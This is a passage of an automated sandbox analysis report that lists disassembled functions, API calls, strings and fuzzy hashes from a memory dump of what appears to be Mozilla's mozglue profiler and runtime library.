Opcode Fuzzy Hash: 47dde26c12a91aed2ef44e6116d60716c11412156b225f495b952183842fe124
Instruction Fuzzy Hash: 2D0186B1704111ABDF01EF16DC08A06BBB8FB833297F64375E51AD2615E7319815CF89

Function 6C527620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C5275C4,?), ref: 6C52762B

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C5274D7,6C5315FC,?,?,?), ref: 6C527644
GetCurrentThreadId.KERNEL32 ref: 6C52765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5274D7,6C5315FC,?,?,?), ref: 6C527663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5274D7,6C5315FC,?,?,?), ref: 6C527677

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: ba7c4c4dd7f02c25d064a0f40b1fa58540bd9dccf42e025a16f013fe1fc0b281
Instruction ID: d86e0d70d37e2cffeec56bd98d9fa06aad92fc47da6b2c187e8f5ebed0ba0f8c
Opcode Fuzzy Hash: ba7c4c4dd7f02c25d064a0f40b1fa58540bd9dccf42e025a16f013fe1fc0b281
Instruction Fuzzy Hash: 45F0AF71E10745ABD7009F21CC88A76B778FFEA259F12431AF90452601E7B1A5D08BD1

Function 6C531700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C531800

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Part of subcall function 6C4D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C513EBD,6C513EBD,00000000), ref: 6C4D42A9

Strings

Details, xrefs: 6C531925
{marker.name} - {marker.data.name}, xrefs: 6C5318C7
name, xrefs: 6C531939

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: d57c3af5f07e2b3a27f94454f8a6d129c11253a012654c4204888107db695f51
Instruction ID: d03056db5601b46657d28f8f5b0002a7add9cf08b7a04d0851dc1d2c714d9bb2
Opcode Fuzzy Hash: d57c3af5f07e2b3a27f94454f8a6d129c11253a012654c4204888107db695f51
Instruction Fuzzy Hash: 5E71F371A00306DFC704DF28D854B9ABBB1FF85314F45466DD8194BB41E770AAA8CBE1

Function 6C4FD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

EnterCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD4F2
LeaveCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD50B

Part of subcall function 6C4DCFE0: EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4DCFF6
Part of subcall function 6C4DCFE0: LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4DD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD52E
EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C4FD690
LeaveCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD751

Strings

MOZ_CRASH(), xrefs: 6C4FD4BB

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: ba04d0f68b7b5edde1bf331acd13d22e286a51f8f9997a88026e598f01f4b672
Instruction ID: d093dcb9573414b1e777c39de0da9b13bd9ca3edba9cf641f3593a215a4c4b6c
Opcode Fuzzy Hash: ba04d0f68b7b5edde1bf331acd13d22e286a51f8f9997a88026e598f01f4b672
Instruction Fuzzy Hash: A851E171A047418FD714CF28C894B1AB7F1EBCA714F954A2ED5A9C7B85D770E801CB92

Function 6C524630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C524721

Strings

-%llu, xrefs: 6C524733
., xrefs: 6C52476A
profiler-paused, xrefs: 6C5246E4

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: c7b4a502a672074255162952debe9fd5223277e7d2da55a9ffda784ff2afb300
Instruction ID: ab678543343964b56a214d881cabbb48e5308d065231af3f96fcca8f37b174a6
Opcode Fuzzy Hash: c7b4a502a672074255162952debe9fd5223277e7d2da55a9ffda784ff2afb300
Instruction Fuzzy Hash: 40417772F047089BCB08DF78DC5155EBBE5EF86344F14863EE855A7781EB34A8448751

Function 6C549830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C54985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C54987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C5498DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C5498D9

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: c4e433f173e7aac8b9e78657751f4a61b9111b867603c60778a78813f8bddc10
Instruction ID: 289f775728b03a76f9e25bca30f8e30bccc5528ee71b1692fed6369c47e513da
Opcode Fuzzy Hash: c4e433f173e7aac8b9e78657751f4a61b9111b867603c60778a78813f8bddc10
Instruction Fuzzy Hash: BC310571B00108AFDB14AF59DC459EF77A9DF85314F90802DEA1ADBB40DB716D058BE1

Function 6C5246E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C524721

Part of subcall function 6C4D4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C513EBD,00000017,?,00000000,?,6C513EBD,?,?,6C4D42D2), ref: 6C4D4444

Strings

-%llu, xrefs: 6C524733
., xrefs: 6C52476A
profiler-paused, xrefs: 6C5246E4

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 0b2d4ac4be0942e7eda3e4548c94c813d8f29703238a261a7b87510be003c760
Instruction ID: 9fcf3c8f5b98cab8f5d1bdde0b5d80a7093d0adf29152592352d866469db8954
Opcode Fuzzy Hash: 0b2d4ac4be0942e7eda3e4548c94c813d8f29703238a261a7b87510be003c760
Instruction Fuzzy Hash: 60313972F042089BCB0CCF6CDC9169EBBE6DB89314F59853EE8159B781E77498058B90

Function 6C52B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C513EBD,6C513EBD,00000000), ref: 6C4D42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C52B127), ref: 6C52B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C52B4E4

Strings

pid:, xrefs: 6C52B4DE

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 7858e46b7964a92d3a1ce27f39e03bd5a57b919236a769d1c8b6c38fbfae43d8
Instruction ID: 6a1aa3fd775c6a427535be8f81f8690d2302ec8e875ce9a581f0d7511cd151af
Opcode Fuzzy Hash: 7858e46b7964a92d3a1ce27f39e03bd5a57b919236a769d1c8b6c38fbfae43d8
Instruction Fuzzy Hash: 5C31E731A01204DBDB10EFA9DC80ADEB7F6FF45318F540529D81267A81E735A945CBE1

Function 6C4EBF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C537A3F), ref: 6C4EBF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C537A3F), ref: 6C4EBF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C537A3F), ref: 6C4EBF7E

Strings

Tl, xrefs: 6C4EBF84

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: Tl
API String ID: 4279176481-246313527
Opcode ID: 482f53e94643bc5a182b44df42df23f33c103ab247b1e5513759584b01d0fcd4
Instruction ID: dde64a67787541b6923c929d3ac5b21472e36f4ab4a95310efdeb5705d07ca9a
Opcode Fuzzy Hash: 482f53e94643bc5a182b44df42df23f33c103ab247b1e5513759584b01d0fcd4
Instruction Fuzzy Hash: 3011BF792006048FC729CF0CD999A26FBF8FB59305355885DE98A8B751C772A800CB94

Function 6C51E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C51E577
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51E584
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C51E8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C51E826, 6C51E850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C51E655
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C51E722, 6C51E750, 6C51E7A2
MOZ_PROFILER_STARTUP, xrefs: 6C51E5A1, 6C51E5CC, 6C51E5FF, 6C51E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C51E777

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: f58eccd1e2547dd667e23dfdbbc60ffb7233c2ba52d4ab4c79e11a78e2029949
Instruction ID: 62d75c09e53e3c501b4d3314e281a67c9e103753b0d5836d7bf01f6914565564
Opcode Fuzzy Hash: f58eccd1e2547dd667e23dfdbbc60ffb7233c2ba52d4ab4c79e11a78e2029949
Instruction Fuzzy Hash: 8F11A131604254DFCB00AF14CC4CB6ABBF4FBC9328FC20619E84597A50D774A804CB99

Function 6C520C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C520CD5

Part of subcall function 6C50F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C50F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C520D40
free.MOZGLUE ref: 6C520DCB

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

free.MOZGLUE ref: 6C520DDD
free.MOZGLUE ref: 6C520DF2

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: b9f1d451904e071d0043331289929d1b9dab10b377b84f4fe7de7b10ec6bee0f
Instruction ID: 05fff933d755712c158fd654fd82396f92458693b3c2ef5b59cfe2e2ea73d7f3
Opcode Fuzzy Hash: b9f1d451904e071d0043331289929d1b9dab10b377b84f4fe7de7b10ec6bee0f
Instruction Fuzzy Hash: 2A41187190A784CBD720CF29C48079AFBE5BFC9714F518A2EE8D887750D774A845CB82

Function 6C510800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C510838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C51084C
EnterCriticalSection.KERNEL32(?), ref: 6C5108AF
LeaveCriticalSection.KERNEL32(?), ref: 6C5108BD
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C5108D5

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: fee7d5e84e7d0ba5af816b1a68d687e9b7f2471e4016a4792b0a32f0727b88f1
Instruction ID: 4e5f7f92009dd285a7af9c29a8e7687ab9215361b0851430fcd3b68541f128ee
Opcode Fuzzy Hash: fee7d5e84e7d0ba5af816b1a68d687e9b7f2471e4016a4792b0a32f0727b88f1
Instruction Fuzzy Hash: D021F231B082499BEF04DF65CC88BAE73B9BFC4708F940529E509A7A40DF75A8158BD4

Function 6C52CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52CDA4

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

Part of subcall function 6C52D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C52CDBA,00100000,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52D158
Part of subcall function 6C52D130: InitializeConditionVariable.KERNEL32(00000098,?,6C52CDBA,00100000,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52CDC4

Part of subcall function 6C527480: ReleaseSRWLockExclusive.KERNEL32(?,6C5315FC,?,?,?,?,6C5315FC,?), ref: 6C5274EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52CECC

Part of subcall function 6C4ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C4ECAA2

Part of subcall function 6C51CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C52CEEA,?,?,?,?,00000000,?,6C51DA31,00100000,?,?,00000000), ref: 6C51CB57
Part of subcall function 6C51CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C51CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C52CEEA,?,?), ref: 6C51CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52D058

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 2ef53b228b6434f9395b7aa7b905f0eda60632a9e33fa6389d9f30af5822c901
Instruction ID: 2902b949aeb8918f4759fcd6c962dbc868010645aee1d02b08ccd4cbd59e6c29
Opcode Fuzzy Hash: 2ef53b228b6434f9395b7aa7b905f0eda60632a9e33fa6389d9f30af5822c901
Instruction Fuzzy Hash: 59D14D71A04B469FD718CF28C880B99F7E1BF89308F01866DD95987752EB31F9A5CB81

Function 6C4E1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C4E17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C4E18EE
free.MOZGLUE(?), ref: 6C4E1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4E194C

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 8b842a0d855b58e5268c5b0af0b88db5c864267e44afecef110610a496ddb1fc
Instruction ID: 217e7838c2e53087907c43c068332d5974817e67101c5fa79c10eee9798234c2
Opcode Fuzzy Hash: 8b842a0d855b58e5268c5b0af0b88db5c864267e44afecef110610a496ddb1fc
Instruction Fuzzy Hash: 0081BD70A112059FCB08CF68D894DAEBBB1FF89315F05466DE851AB752D730E849CBA2

Function 6C4F5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C4F5D40
EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67
__aulldiv.LIBCMT ref: 6C4F5DB4
LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4F5DED

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 348b974e5562f03ae68c908c922fa127b59e482b2fe6b703d768d85cc09853de
Instruction ID: 77fa3a47cfa6e74ef20e546193986b6b62af70c4a1057a89734af9807bb22736
Opcode Fuzzy Hash: 348b974e5562f03ae68c908c922fa127b59e482b2fe6b703d768d85cc09853de
Instruction Fuzzy Hash: 2F516171E011198FCF08CF68CC54EAEBBB2FB85304F5A861DD865A7B91C7706946CBA4

Function 6C4DCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4DCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C4DCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C4DCF4E

Strings

0, xrefs: 6C4DCF30

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: c58fd33a75997e4271e19459891d7e4beff0685fb622f0494bd26d71b54ae881
Instruction ID: 9dcfe6377f33820f80d7c9f88ee371aabf01a07bc61ae29bf4b730ddd3acd940
Opcode Fuzzy Hash: c58fd33a75997e4271e19459891d7e4beff0685fb622f0494bd26d71b54ae881
Instruction Fuzzy Hash: 5A51F275A00216CFCB00DF18C8A0E9AB7A5EF99304F1A859DD8595F391D771BD06CBE0

Function 6C5377D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5377FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C537829

Part of subcall function 6C50CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C4D31A7), ref: 6C50CC45
